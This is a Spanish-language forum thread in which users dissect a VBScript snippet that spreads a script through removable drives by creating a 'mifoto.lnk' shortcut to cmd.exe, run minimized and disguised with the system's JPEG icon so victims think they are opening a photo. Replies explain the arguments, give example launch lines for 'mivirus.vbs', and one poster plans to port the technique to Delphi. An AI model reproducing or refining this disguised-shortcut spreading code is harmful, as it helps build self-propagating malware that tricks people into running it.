Alguien que sea tan amable de explicarme estas lineas que dejo de ejemplo MadAntrax en uno de sus post, no estoy muy familiarizado con este tipo de spread.
set lnkobj = WSS.createshortcut (drive.path & "\mifoto.lnk")
lnkobj.windowstyle = 7
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
lnkobj.iconlocation = WSS.regread ("HKEY_LOCAL_MACHINE\software\classes\jpegfile\defaulticon\")
lnkobj.save()
Digamos que basicamente crea el .lnk apuntando hacia el CMD con parametros y asignandole un Icono de imagen.
//Regards.
Para ser mas preciso en la linea
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
que argumentos debe tener un lnk para que ejecute un programa?
Cita de: jeshuem en 18 Marzo 2014, 00:49 AM
Para ser mas preciso en la linea
lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
que argumentos debe tener un lnk para que ejecute un programa?
Simplemente llama a la aplicacion desde el CMD con "Start", aunque creo que se deberia usar WScript.ScriptFullName, a ver si lo ve MadAntrax.
//Regards.
Cual es su sintaxis del argumento? sin el codigo como seria?
No es necesario mandar argumentos a un LNK para que ejecute un fichero, son solo targetpath es suficiente.
En el ejemplo, lo que hace el código es crear un acceso directo a cmd.exe y le cambio el icono de la ventanita negra por la de la foto.jpg
básicamente el acceso sería:
cmd.exe /c start mivirus.vbs&exit
Podría ser también así:
cmd.exe /c start mivirus.vbs&start notepad.exe&exit
(Ese ejemplo ejecuta el virus + notepad y luego cierra el cmd). Si lo combinas con WindowsStyle=7 el cmd se ejecuta minimizado).
Saludos
La funcion replace que es para remplazar codenas a que viene?
replace(wscript.scriptname," ", chrw(34) & " " & chrw(34))
Cita de: jeshuem en 18 Marzo 2014, 15:16 PM
La funcion replace que es para remplazar codenas a que viene?
replace(wscript.scriptname," ", chrw(34) & " " & chrw(34))
No se pueden usar espacios en los nombres. Lo que hago es coger el nombre del fichero y reemplazo el espacio (" ") por chrw(34) & " " & chrw(34)
Ah ok gracias eres un grande jaja, no sabia que no se podia usar espacios, gracias. Ahora toca pasarlo a delphi.
Saludos.
Cita de: ||MadAntrax|| en 18 Marzo 2014, 15:18 PM
No se pueden usar espacios en los nombres. Lo que hago es coger el nombre del fichero y reemplazo el espacio (" ") por chrw(34) & " " & chrw(34)
Eso era lo que a mi me despistaba, sería mejor algo tipo Chr(34) & WScript.ScriptFullName & Chr(34), no?
PD: Perdonad que no use Etiquetas, ando desde el movil por viajes de negocios.
//Regards.